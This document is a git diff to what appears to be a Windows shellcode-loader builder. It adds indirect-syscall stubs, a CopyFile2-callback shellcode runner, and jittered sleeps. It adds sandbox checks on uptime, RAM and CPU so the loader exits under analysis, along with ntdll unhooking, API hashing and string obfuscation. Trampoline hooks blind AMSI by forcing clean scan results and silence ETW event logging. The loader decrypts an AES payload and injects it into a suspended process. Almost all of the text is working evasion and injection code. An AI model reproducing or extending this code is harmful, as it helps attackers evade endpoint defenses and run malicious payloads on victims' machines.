HH_HASH_NtQueueApcThread 0x235B0390u + +/* -------------------------------------------------------------------------- */ +/* SysFunc — one instance per syscall */ +/* -------------------------------------------------------------------------- */ +typedef struct _SysFunc { + PVOID pInst; /* address of a 'syscall' instruction inside ntdll */ + PBYTE pAddress; /* address of the NT stub in ntdll */ + WORD wSSN; /* syscall service number */ + hh_u32 uHash; /* CRC32b of the function name */ +} SysFunc, *PSysFunc; + +/* -------------------------------------------------------------------------- */ +/* Assembly stubs (whispers-asm.x64.asm) */ +/* -------------------------------------------------------------------------- */ +EXTERN_C VOID SetConfig(WORD wSSN, PVOID pSyscallInst); +#define SYSCALL(sf) (SetConfig((sf).wSSN, (sf).pInst)) + +/* -------------------------------------------------------------------------- */ +/* NTSTATUS / KNORMAL_ROUTINE (guard against redefinition) */ +/* -------------------------------------------------------------------------- */ +#ifndef _NTDEF_ +typedef _Return_type_success_(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#ifndef _KNORMAL_ROUTINE_DEFINED +#define _KNORMAL_ROUTINE_DEFINED +typedef VOID(KNORMAL_ROUTINE)(IN PVOID NormalContext, + IN PVOID SystemArgument1, + IN PVOID SystemArgument2); +typedef KNORMAL_ROUTINE *PKNORMAL_ROUTINE; +#endif + +/* -------------------------------------------------------------------------- */ +/* Typed HellHall dispatch stubs (all share the same ASM body) */ +/* -------------------------------------------------------------------------- */ +EXTERN_C NTSTATUS HellHall_NtAVM( + HANDLE ProcessHandle, PVOID *BaseAddress, + ULONG ZeroBits, PSIZE_T RegionSize, + ULONG AllocationType, ULONG Protect); + +EXTERN_C NTSTATUS HellHall_NtPVM( + HANDLE ProcessHandle, PVOID *BaseAddress, + PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect); + +EXTERN_C NTSTATUS HellHall_NtWVM( + HANDLE ProcessHandle, PVOID BaseAddress, + PVOID Buffer, SIZE_T NumberOfBytesToWrite, + PSIZE_T NumberOfBytesWritten); + +EXTERN_C NTSTATUS HellHall_NtQAT( + HANDLE ThreadHandle, PKNORMAL_ROUTINE ApcRoutine, + PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3); + +/* -------------------------------------------------------------------------- */ +/* Hell's Hall C API */ +/* -------------------------------------------------------------------------- */ +BOOL HH_InitNtdll(VOID); +BOOL HH_InitSysFunc(IN hh_u32 uHash, OUT PSysFunc psF); +BOOL HH_Initialize(VOID); /* resolve all 4 syscalls once at startup */ + +/* -------------------------------------------------------------------------- */ +/* Public wrappers — same signatures as the old SysWhispers3 stubs */ +/* -------------------------------------------------------------------------- */ +NTSTATUS NTAVM( + IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, IN ULONG Protect); + +NTSTATUS NTPVM( + IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect); + +NTSTATUS NTWVM( + IN HANDLE ProcessHandle, IN PVOID BaseAddress, + IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, + OUT PSIZE_T NumberOfBytesWritten); + +NTSTATUS NTQAT( + IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine, + IN PVOID ApcArgument1 OPTIONAL, + IN PVOID ApcArgument2 OPTIONAL, + IN PVOID ApcArgument3 OPTIONAL); diff --git a/Linux/templates/staged/inject.c b/Linux/templates/staged/inject.c index ad0a3de..2ca0f93 100644 --- a/Linux/templates/staged/inject.c +++ b/Linux/templates/staged/inject.c @@ -33,7 +33,7 @@ BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hP // API Hashing cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#); - Sleep(15000); + JITTER_SLEEP(15000); if(!cCPAu( NULL, lpPath, @@ -55,7 +55,7 @@ BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hP *hProcess = Pi.hProcess; *hThread = Pi.hThread; - Sleep(5000); + JITTER_SLEEP(5000); return TRUE; } @@ -83,8 +83,8 @@ BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShel //printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten); - Sleep(2500); - if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) { + JITTER_SLEEP(2500); + if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READ, &uOldProtection)) != 0) { //printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS); return FALSE; @@ -94,4 +94,125 @@ BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShel return TRUE; +} +// CopyFile2 compat types — only define when winbase.h does not already provide them. +// Newer mingw-w64 (Kali 2024+, Ubuntu 24.04+) includes these when _WIN32_WINNT >= 0x0602. +// We pass -D_WIN32_WINNT=0x0602 via CFLAGS so this block is effectively dead on +// modern toolchains; it remains as a safety net for legacy environments. +#if !defined(_WIN32_WINNT) || (_WIN32_WINNT < 0x0602) + +typedef enum _COPYFILE2_MESSAGE_TYPE { + COPYFILE2_CALLBACK_NONE = 0, + COPYFILE2_CALLBACK_CHUNK_STARTED, + COPYFILE2_CALLBACK_CHUNK_FINISHED, + COPYFILE2_CALLBACK_STREAM_STARTED, + COPYFILE2_CALLBACK_STREAM_FINISHED, + COPYFILE2_CALLBACK_POLL_CONTINUE, + COPYFILE2_CALLBACK_ERROR, + COPYFILE2_CALLBACK_MAX +} COPYFILE2_MESSAGE_TYPE; + +typedef enum _COPYFILE2_MESSAGE_ACTION { + COPYFILE2_PROGRESS_CONTINUE = 0, + COPYFILE2_PROGRESS_CANCEL, + COPYFILE2_PROGRESS_STOP, + COPYFILE2_PROGRESS_QUIET, + COPYFILE2_PROGRESS_PAUSE +} COPYFILE2_MESSAGE_ACTION; + +typedef struct COPYFILE2_MESSAGE { + COPYFILE2_MESSAGE_TYPE Type; + DWORD dwPadding; + union { + struct { ULARGE_INTEGER ullChunkNumber; } ChunkStarted; + struct { ULARGE_INTEGER ullChunkNumber; } ChunkFinished; + struct { DWORD dwStreamNumber; } StreamStarted; + struct { DWORD dwStreamNumber; } StreamFinished; + struct { DWORD dwReserved; } PollContinue; + struct { DWORD dwReserved; } Error; + } Info; +} COPYFILE2_MESSAGE; + +typedef COPYFILE2_MESSAGE_ACTION (CALLBACK *PCOPYFILE2_PROGRESS_ROUTINE)( + const COPYFILE2_MESSAGE *pMessage, PVOID pvCallbackContext); + +typedef struct COPYFILE2_EXTENDED_PARAMETERS { + DWORD dwSize; + DWORD dwCopyFlags; + BOOL *pfCancel; + PCOPYFILE2_PROGRESS_ROUTINE pProgressRoutine; + PVOID pvCallbackContext; +} COPYFILE2_EXTENDED_PARAMETERS; + +WINBASEAPI HRESULT WINAPI CopyFile2(PCWSTR pwszExistingFileName, + PCWSTR pwszNewFileName, COPYFILE2_EXTENDED_PARAMETERS *pExtendedParameters); + +#endif // !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602 + +BOOL CallbackInjection(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) { + + SIZE_T sSize = sSizeOfShellcode; + NTSTATUS STATUS = 0x00; DWORD dwOldProtect = 0; WCHAR szSourceFile[MAX_PATH]; + WCHAR szDestFile[MAX_PATH]; + + // Allocate RW memory — will be flipped to RX before execution + *ppAddress = VirtualAlloc(NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (*ppAddress == NULL) { + //printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError()); + return FALSE; + } + + //printf("[i] Allocated Memory At : 0x%p \n", *ppAddress); + + // Copy shellcode to RW memory + RtlMoveMemory(*ppAddress, pShellcode, sSizeOfShellcode); + //printf("[+] Successfully Written %d Bytes\n", sSizeOfShellcode); + + // Flip to RX. never hold W+X simultaneously + VirtualProtect(*ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READ, &dwOldProtect); + + // Setup CopyFile2 parameters with callback pointing to shellcode + COPYFILE2_EXTENDED_PARAMETERS params = { 0 }; + params.dwSize = sizeof(COPYFILE2_EXTENDED_PARAMETERS); + params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS; + params.pfCancel = FALSE; + params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)*ppAddress; // Shellcode as callback + params.pvCallbackContext = NULL; + + // Get TEMP path and create source/dest file paths + GetEnvironmentVariableW(L"TEMP", szSourceFile, MAX_PATH); + wcscpy(szDestFile, szSourceFile); + wcscat(szSourceFile, L"\\#-CALLBACK_SRC_TMP-#"); + wcscat(szDestFile, L"\\#-CALLBACK_DST_TMP-#"); + + // Create a dummy source file + HANDLE hFile = CreateFileW(szSourceFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile != INVALID_HANDLE_VALUE) { + DWORD dwWritten; + BYTE dummyData[1024] = { 0x41 }; // Just some dummy data + WriteFile(hFile, dummyData, sizeof(dummyData), &dwWritten, NULL); + CloseHandle(hFile); + } + + // Delete destination if it exists + DeleteFileW(szDestFile); + + JITTER_SLEEP(1500); + //printf("[i] Triggering shellcode via CopyFile2 callback...\n"); + + // Trigger the callback by copying the file + // The progress routine (our shellcode) will be called during the copy operation + HRESULT hr = CopyFile2(szSourceFile, szDestFile, ¶ms); + + // Cleanup temp files + DeleteFileW(szSourceFile); + DeleteFileW(szDestFile); + + if (SUCCEEDED(hr)) { + //printf("[+] Callback executed successfully!\n"); + return TRUE; + } else { + //printf("[!] CopyFile2 failed with HRESULT: 0x%0.8X\n", hr); + return TRUE; // Still return TRUE as callback might have executed + } } \ No newline at end of file diff --git a/Linux/templates/staged/main.c b/Linux/templates/staged/main.c index 3114866..b51765d 100644 --- a/Linux/templates/staged/main.c +++ b/Linux/templates/staged/main.c @@ -4,6 +4,8 @@ #include "whispers.h" #include "functions.h" #include "AES_128_CBC.h" +#include "sandbox.h" +#include "trampoline.h" #define TARGET_PROCESS "#-TARGET_PROCESS-#" @@ -12,7 +14,7 @@ uint8_t aes_k[16] = { #-KEY_VALUE-# }; uint8_t aes_i[16] = { #-IV_VALUE-# }; -int main() { +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { PBYTE pEncPayload = NULL; SIZE_T sEncPayload = 0; @@ -30,6 +32,9 @@ int main() { NTSTATUS STATUS = 0x00; + // Seed RNG for jittered sleep timing + srand((unsigned int)GetTickCount()); + // #-SANDBOX_CHECK_CALL-# //printf("[+] Un-hooking Ntdll \n"); LPVOID nt = MapNtdll(); if (!nt) @@ -37,8 +42,11 @@ int main() { if (!Unhook(nt)) return -1; + + // Install hooks AFTER unhooking so they don't get erased + // #-TRAMPOLINE_CALL-# - Sleep(500); + JITTER_SLEEP(500); if (!GetContent(&pEncPayload, &sEncPayload)) { //printf("[-] Failed to get the data!\n"); @@ -51,7 +59,7 @@ int main() { // Decryption routine //printf("[i] Starting the decryption...\n"); - Sleep(500); + JITTER_SLEEP(500); // Allocating memory to store the decrypted payload inside of pClearText pClearText = (PBYTE)malloc(sEncPayload); AES_DecryptInit(&ctx, aes_k, aes_i); @@ -59,7 +67,7 @@ int main() { //printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload); - Sleep(1500); + JITTER_SLEEP(1500); //printf("[i] Creating suspended process..\n"); // Creating a suspeneded process now if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) { @@ -69,36 +77,29 @@ int main() { } //printf("[+] Process created with PID: %d\n", dwProcessId); - Sleep(2500); - //printf("[i] Injecting the shellcode into the process..\n"); - // Doing the APC Injection - if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) { - - return -1; - } - - Sleep(1500); - //printf("[i] Running the shellcode via NtQueueApcThread..\n"); - // Running the thread via QueueAPCThread - if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) { - - //printf("[-] NtQueueApcThrad failed!\n"); - return -1; - } + JITTER_SLEEP(2500); + // #-INJECTION_METHOD_PLACEHOLDER-# - // API Hashing - cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#); - - //printf("[i] Position of DAPsu: 0x%p\n", cDAPSu); - - Sleep(1000); - // Stopping the debugging of the process, which launches the payload - cDAPSu(dwProcessId); - //printf("[+] Payload executed!\n"); + // Cleanup: Zero out sensitive data before freeing + if (pEncPayload) { + SecureZeroMemory(pEncPayload, sEncPayload); + free(pEncPayload); + pEncPayload = NULL; + } + if (pClearText) { + SecureZeroMemory(pClearText, sEncPayload); + free(pClearText); + pClearText = NULL; + } + // Zero out encryption keys + SecureZeroMemory(aes_k, sizeof(aes_k)); + SecureZeroMemory(aes_i, sizeof(aes_i)); + SecureZeroMemory(&ctx, sizeof(ctx)); - CloseHandle(hThread); - CloseHandle(hProcess); - free(pClearText); + if (hThread) + CloseHandle(hThread); + if (hProcess) + CloseHandle(hProcess); return 0; } \ No newline at end of file diff --git a/Linux/templates/staged/main_dll.c b/Linux/templates/staged/main_dll.c index 63138f4..dbffe36 100644 --- a/Linux/templates/staged/main_dll.c +++ b/Linux/templates/staged/main_dll.c @@ -4,6 +4,8 @@ #include "whispers.h" #include "functions.h" #include "AES_128_CBC.h" +#include "sandbox.h" +#include "trampoline.h" #define TARGET_PROCESS "#-TARGET_PROCESS-#" @@ -31,6 +33,9 @@ extern __declspec(dllexport) int ctf() NTSTATUS STATUS = 0x00; + // Seed RNG for jittered sleep timing + srand((unsigned int)GetTickCount()); + // #-SANDBOX_CHECK_CALL-# //printf("[+] Un-hooking Ntdll \n"); LPVOID nt = MapNtdll(); if (!nt) @@ -38,8 +43,11 @@ extern __declspec(dllexport) int ctf() if (!Unhook(nt)) return -1; + + // Install hooks AFTER unhooking so they don't get erased + // #-TRAMPOLINE_CALL-# - Sleep(500); + JITTER_SLEEP(500); if (!GetContent(&pEncPayload, &sEncPayload)) { //printf("[-] Failed to get the data!\n"); @@ -52,7 +60,7 @@ extern __declspec(dllexport) int ctf() // Decryption routine //printf("[i] Starting the decryption...\n"); - Sleep(500); + JITTER_SLEEP(500); // Allocating memory to store the decrypted payload inside of pClearText pClearText = (PBYTE)malloc(sEncPayload); AES_DecryptInit(&ctx, aes_k, aes_i); @@ -60,7 +68,7 @@ extern __declspec(dllexport) int ctf() //printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload); - Sleep(1500); + JITTER_SLEEP(1500); //printf("[i] Creating suspended process..\n"); // Creating a suspeneded process now if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) { @@ -70,36 +78,29 @@ extern __declspec(dllexport) int ctf() } //printf("[+] Process created with PID: %d\n", dwProcessId); - Sleep(2500); - //printf("[i] Injecting the shellcode into the process..\n"); - // Doing the APC Injection - if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) { - - return -1; - } - - Sleep(1500); - //printf("[i] Running the shellcode via NtQueueApcThread..\n"); - // Running the thread via QueueAPCThread - if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) { - - //printf("[-] NtQueueApcThrad failed!\n"); - return -1; - } + JITTER_SLEEP(2500); + // #-INJECTION_METHOD_PLACEHOLDER-# - // API Hashing - cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#); - - //printf("[i] Position of DAPsu: 0x%p\n", cDAPSu); - - Sleep(1000); - // Stopping the debugging of the process, which launches the payload - cDAPSu(dwProcessId); - //printf("[+] Payload executed!\n"); + // Cleanup: Zero out sensitive data before freeing + if (pEncPayload) { + SecureZeroMemory(pEncPayload, sEncPayload); + free(pEncPayload); + pEncPayload = NULL; + } + if (pClearText) { + SecureZeroMemory(pClearText, sEncPayload); + free(pClearText); + pClearText = NULL; + } + // Zero out encryption keys + SecureZeroMemory(aes_k, sizeof(aes_k)); + SecureZeroMemory(aes_i, sizeof(aes_i)); + SecureZeroMemory(&ctx, sizeof(ctx)); - CloseHandle(hThread); - CloseHandle(hProcess); - free(pClearText); + if (hThread) + CloseHandle(hThread); + if (hProcess) + CloseHandle(hProcess); return 0; diff --git a/Linux/templates/staged/sandbox.c b/Linux/templates/staged/sandbox.c new file mode 100644 index 0000000..bab04ea --- /dev/null +++ b/Linux/templates/staged/sandbox.c @@ -0,0 +1,61 @@ +#include +#include "sandbox.h" +#include "functions.h" + +/* + * RunSandboxChecks + * + * Lightweight pre-flight checks before payload execution. + * Returns TRUE -> environment looks like a real workstation. + * Returns FALSE -> likely a sandbox / analysis VM; loader should exit cleanly. + * + * All WinAPI calls are resolved at runtime via API hashing (GetProcAddressH / + * GetModuleHandleH) so no suspicious IAT entries appear in the binary. + * + * Checks performed: + * 1. System uptime < #-SANDBOX_MIN_UPTIME_MS-# ms + * 2. Physical RAM < #-SANDBOX_MIN_RAM_GB-# GB + * 3. Logical CPU count < #-SANDBOX_MIN_CPU-# + */ + +typedef ULONGLONG (WINAPI* pGetTickCount64_t)(void); +typedef BOOL (WINAPI* pGlobalMemoryStatusEx_t)(LPMEMORYSTATUSEX); +typedef void (WINAPI* pGetSystemInfo_t)(LPSYSTEM_INFO); + +BOOL RunSandboxChecks(void) { + + HMODULE hK32 = GetModuleHandleH(#-KERNEL32_VALUE-#); + if (!hK32) + return FALSE; + + /* --- 1. Uptime --- */ + pGetTickCount64_t fnGTC64 = + (pGetTickCount64_t) GetProcAddressH(hK32, #-GETTICKCOUNT64_VALUE-#); + if (!fnGTC64 || fnGTC64() < #-SANDBOX_MIN_UPTIME_MS-#) + return FALSE; + + /* --- 2. RAM --- */ + pGlobalMemoryStatusEx_t fnGMSE = + (pGlobalMemoryStatusEx_t) GetProcAddressH(hK32, #-GLOBALMEMORYSTATUSEX_VALUE-#); + if (!fnGMSE) + return FALSE; + MEMORYSTATUSEX ms; + ms.dwLength = sizeof(ms); + if (!fnGMSE(&ms)) + return FALSE; + if (ms.ullTotalPhys < #-SANDBOX_MIN_RAM_BYTES-#) + return FALSE; + + /* --- 3. CPU count --- */ + pGetSystemInfo_t fnGSI = + (pGetSystemInfo_t) GetProcAddressH(hK32, #-GETSYSTEMINFO_VALUE-#); + if (!fnGSI) + return FALSE; + SYSTEM_INFO si; + fnGSI(&si); + if (si.dwNumberOfProcessors < #-SANDBOX_MIN_CPU-#) + return FALSE; + + return TRUE; +} + diff --git a/Linux/templates/staged/sandbox.h b/Linux/templates/staged/sandbox.h new file mode 100644 index 0000000..d3fcca9 --- /dev/null +++ b/Linux/templates/staged/sandbox.h @@ -0,0 +1,8 @@ +#pragma once +#include + +/* + * RunSandboxChecks — returns TRUE if the environment looks legitimate. + * Call this early in the entry point; bail out if it returns FALSE. + */ +BOOL RunSandboxChecks(void); diff --git a/Linux/templates/staged/trampoline.c b/Linux/templates/staged/trampoline.c new file mode 100644 index 0000000..65bef21 --- /dev/null +++ b/Linux/templates/staged/trampoline.c @@ -0,0 +1,307 @@ +/* + * trampoline.c + * + * AMSI & ETW bypass via x64 trampoline hooks. + * Adapted from TrampoLatte (github.com/MochaByte/TrampoLatte). + * + * All WinAPI calls are resolved at runtime via API hashing so no + * suspicious IAT entries appear in the binary. + */ + +// #-DEBUG_DEFINE-# + +#include +#include +#include "functions.h" +#include "trampoline.h" + +#ifdef DEBUG +#include +#define DBG(fmt, ...) do { char _b[512]; sprintf(_b, "[TrampoLatte] " fmt "\n", ##__VA_ARGS__); OutputDebugStringA(_b); } while(0) +#else +#define DBG(fmt, ...) ((void)0) +#endif + +#define TRAMPOLINE_SIZE 13 + +extern void RetStub(void); + +typedef HANDLE HAMSICONTEXT; +typedef HANDLE HAMSISESSION; +#define AMSI_RESULT_CLEAN 0 +typedef int AMSI_RESULT; + +typedef HRESULT (WINAPI *PFN_AMSI_SCAN_BUFFER)( + HAMSICONTEXT, PVOID Buffer, ULONG Length, + LPCWSTR ContentName, HAMSISESSION, AMSI_RESULT *Result); + +static PFN_AMSI_SCAN_BUFFER g_pOriginalAmsiFunc = NULL; + + +BOOL GetEtwpEventWriteFull(OUT PVOID *ppFunction) +{ + // First getting a pointer to the EtwEventWriteEx function + PBYTE pEtwEventWriteEx = (PBYTE)GetProcAddressH( + GetModuleHandleH(#-NTDLL_VALUE-#), + #-ETWEVENTWRITEEX_VALUE-#); + if (pEtwEventWriteEx == NULL) + { + DBG("[-] Failed to get EtwEventWriteEx"); + return FALSE; + } + DBG("[+] Found EtwEventWriteEx at 0x%p", pEtwEventWriteEx); + + PVOID pTargetFunction = NULL, + pTemp = NULL; + int i = 0; + + // 1. We start at the pointers address and go down the memory lane to find the C3 instruction + + while(1) + { + BYTE opcode = pEtwEventWriteEx[i]; + + // 2. We have reached the RET instruction, stop there + if (pEtwEventWriteEx[i] == 0xC3) + { + break; + } + i++; + } + + // 3. By doing it this way, we ensure we hit the right 0xE8 instruction which is the CALL instruction. + + // 4. We loop again, this time we move "upwards" to hit the CALL instruction + while (i) + { + BYTE opcode = pEtwEventWriteEx[i]; + + // 5. We have reached the CALL instruction + if (opcode == 0xE8) + { + // We get the relative address for EtwpEventWriteEx. + // pEtwEventWriteEx + i -> this is the CALL instruction + // + 1 gets you the first byte of the displacement + // I used int32_t because its a 32-bit signed integer and negative displacements are handled correctly + int32_t relative = *(int32_t*)(pEtwEventWriteEx + i + 1); + DBG("relative addr: 0x%p", (PVOID)(uintptr_t)relative); + + // We go from pEtwEventWriteEx + i which is the CALL instruction. +5 gets you past that and + relative gets you the relative address of EtwpEventWriteFull. + pTargetFunction = pEtwEventWriteEx + i + 5 + relative; + DBG("pTargetFunction at position: 0x%p", pTargetFunction); + + // 6. pTargetFunction is now EtwpEventWriteFull + *ppFunction = pTargetFunction; + return TRUE; + } + + i--; + } + + return FALSE; +} + + +BOOL TrampolineX64(IN PVOID pHookedFunction, IN PVOID pDetourFunction, OUT PVOID *pOriginalFunc, OUT DWORD *dwOldProt) +{ + DWORD dwOldProtect = 0; + + // Trampoline x64 + uint8_t uTrampoline[] = { + 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pFunctionToRun + 0x41, 0xFF, 0xE2 // jmp r10 + }; + + // The actual patch + uint64_t patch = (uint64_t)(pDetourFunction); + + // Prepare the jump point + memcpy(&uTrampoline[2], &patch, sizeof(patch)); + + DBG("TrampolineX64: target=0x%p detour=0x%p", pHookedFunction, pDetourFunction); + + // Dump the bytes we intend to write + DBG(" Trampoline payload: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X", + uTrampoline[0], uTrampoline[1], uTrampoline[2], uTrampoline[3], + uTrampoline[4], uTrampoline[5], uTrampoline[6], uTrampoline[7], + uTrampoline[8], uTrampoline[9], uTrampoline[10], uTrampoline[11], uTrampoline[12]); + + // Dump the original bytes at the target before we touch anything + { + BYTE *p = (BYTE *)pHookedFunction; + DBG(" BEFORE: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X", + p[0], p[1], p[2], p[3], p[4], p[5], p[6], + p[7], p[8], p[9], p[10], p[11], p[12]); + } + + // Saving the old function + PVOID pTmp = VirtualAlloc(NULL, TRAMPOLINE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (pTmp == NULL) + { + DBG(" VirtualAlloc failed for backup: %lu", GetLastError()); + return FALSE; + } + memcpy(pTmp, pHookedFunction, TRAMPOLINE_SIZE); + *pOriginalFunc = pTmp; + + // Changing memory permissions for the function you want to hook + if (!VirtualProtect(pHookedFunction, TRAMPOLINE_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect)) + { + DBG(" VirtualProtect failed: %lu", GetLastError()); + return FALSE; + } + DBG(" VirtualProtect OK — old protection: 0x%lX (%lu)", dwOldProtect, dwOldProtect); + + // Write using volatile pointer to prevent compiler from optimizing the write away + volatile BYTE *dst = (volatile BYTE *)pHookedFunction; + for (int i = 0; i < TRAMPOLINE_SIZE; i++) + { + dst[i] = uTrampoline[i]; + } + + // Flush instruction cache so the CPU picks up the new bytes + FlushInstructionCache((HANDLE)-1, pHookedFunction, TRAMPOLINE_SIZE); + + // Verify the write actually landed + { + BYTE *p = (BYTE *)pHookedFunction; + DBG(" AFTER: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X", + p[0], p[1], p[2], p[3], p[4], p[5], p[6], + p[7], p[8], p[9], p[10], p[11], p[12]); + + if (p[0] != 0x49 || p[1] != 0xBA) + { + DBG(" !!! WRITE VERIFICATION FAILED — bytes unchanged. Trying WriteProcessMemory fallback..."); + SIZE_T written = 0; + if (WriteProcessMemory((HANDLE)-1, pHookedFunction, uTrampoline, TRAMPOLINE_SIZE, &written)) + { + DBG(" WriteProcessMemory OK — %llu bytes written", (unsigned long long)written); + FlushInstructionCache((HANDLE)-1, pHookedFunction, TRAMPOLINE_SIZE); + + // Re-check + if (p[0] != 0x49 || p[1] != 0xBA) + { + DBG(" !!! WriteProcessMemory also failed to stick. Page may be protected by CIG/ACG."); + return FALSE; + } + } + else + { + DBG(" WriteProcessMemory failed: %lu", GetLastError()); + return FALSE; + } + } + } + + DBG(" Trampoline verified and set!"); + + // Assigning values + *dwOldProt = dwOldProtect; + + return TRUE; +} + + +BOOL RemoveTrampoline(IN PVOID pHookedFunc, IN PVOID pOriginalFunction, IN DWORD dwOldProtect) +{ + DWORD dwNewProtect = 0, + dwOldProtection = 0; + + // Setting the original function + memcpy(pHookedFunc, pOriginalFunction, TRAMPOLINE_SIZE); + + // Restoring the old protetion values + if (!VirtualProtect(pHookedFunc, TRAMPOLINE_SIZE, dwOldProtect, &dwNewProtect)) + { + DBG("Failed to restore memory protection: %lu", GetLastError()); + return FALSE; + } + + return TRUE; +} + + +// Function to just RET when a hooked function is called +VOID BlockExecutionFlow(PCONTEXT pCtx) +{ + // Altering execution flow by placing the instruction pointer to the RetStub + pCtx->Rip = (ULONG_PTR)&RetStub; +} + + +HRESULT WINAPI ProxyAmsi(HAMSICONTEXT ctx, PVOID buf, ULONG len, LPCWSTR name, HAMSISESSION sess, AMSI_RESULT *pRes) +{ + // Changing the return value + *pRes = AMSI_RESULT_CLEAN; + // returning SUCCESS code + return S_OK; +} + + +BOOL InstallTrampolines(BOOL bypassAmsi, BOOL bypassEtw) +{ + PVOID pOriginalEtwFunc = NULL, + pEtwpEventWriteFull = NULL, + pOriginalAmsiFunc = NULL; + + DWORD dwOldProtectAmsi = 0, + dwOldProtectEtw = 0; + + if (bypassEtw) { + HMODULE hNtdll = (HMODULE)GetModuleHandleH(#-NTDLL_VALUE-#); + + DBG("Fetching EtwpEventWriteFull.."); + + /* 1. EtwpEventWriteFull -- private, found via byte scan (original TrampoLatte) */ + GetEtwpEventWriteFull(&pEtwpEventWriteFull); + if (pEtwpEventWriteFull) { + if (!TrampolineX64(pEtwpEventWriteFull, RetStub, &pOriginalEtwFunc, &dwOldProtectEtw)) + { + DBG("Failed to trampoline EtwpEventWriteFull"); + } + else + { + DBG("EtwpEventWriteFull is now hooked at 0x%p", pEtwpEventWriteFull); + DBG("dwOldProtectEtw value: %lu", dwOldProtectEtw); + } + } else { + DBG("Could not locate EtwpEventWriteFull, skipping"); + } + + DBG("ETW hooking phase complete"); + } + + if (bypassAmsi) { + /* Force-load amsi.dll if not already present. + * String is built on the stack -- no static "amsi.dll" in the binary. */ + HMODULE hAmsi = (HMODULE)GetModuleHandleH(#-AMSI_VALUE-#); + if (!hAmsi) { + char amsi[] = { 'a'^0x5,'m'^0x5,'s'^0x5,'i'^0x5, + '.'^0x5,'d'^0x5,'l'^0x5,'l'^0x5, 0 }; + for (int i = 0; amsi[i]; i++) amsi[i] ^= 0x5; + hAmsi = LoadLibraryA(amsi); + } + if (!hAmsi) { + DBG("Failed to load AMSI.DLL"); + return FALSE; + } + + /* Resolve AmsiScanBuffer via API hashing -- no IAT entry */ + PVOID pAmsiScanBuff = (PVOID)GetProcAddressH(hAmsi, #-AMSISCANBUFFER_VALUE-#); + if (pAmsiScanBuff == NULL) { + DBG("Failed to get AmsiScanBuffer"); + return FALSE; + } + DBG("Found AmsiScanBuffer at 0x%p", pAmsiScanBuff); + + if (!TrampolineX64(pAmsiScanBuff, ProxyAmsi, (PVOID *)&g_pOriginalAmsiFunc, &dwOldProtectAmsi)) + { + DBG("Failed to trampoline AmsiScanBuffer"); + return FALSE; + } + DBG("AmsiScanBuffer is now hooked"); + DBG("dwOldProtectAmsi value: %lu", dwOldProtectAmsi); + } + + return TRUE; +} diff --git a/Linux/templates/staged/trampoline.h b/Linux/templates/staged/trampoline.h new file mode 100644 index 0000000..c62a90b --- /dev/null +++ b/Linux/templates/staged/trampoline.h @@ -0,0 +1,16 @@ +#pragma once +#include + +/* + * trampoline.h + * + * AMSI & ETW bypass via x64 trampoline hooks. + * Adapted from TrampoLatté (github.com/MochaByte/TrampoLatte). + * + * InstallTrampolines + * bypassAmsi – hook AmsiScanBuffer -> always return AMSI_RESULT_CLEAN + * bypassEtw – hook EtwpEventWriteFull -> silent no-op return + * + * Returns TRUE on success (or when both flags are FALSE). + */ +BOOL InstallTrampolines(BOOL bypassAmsi, BOOL bypassEtw); 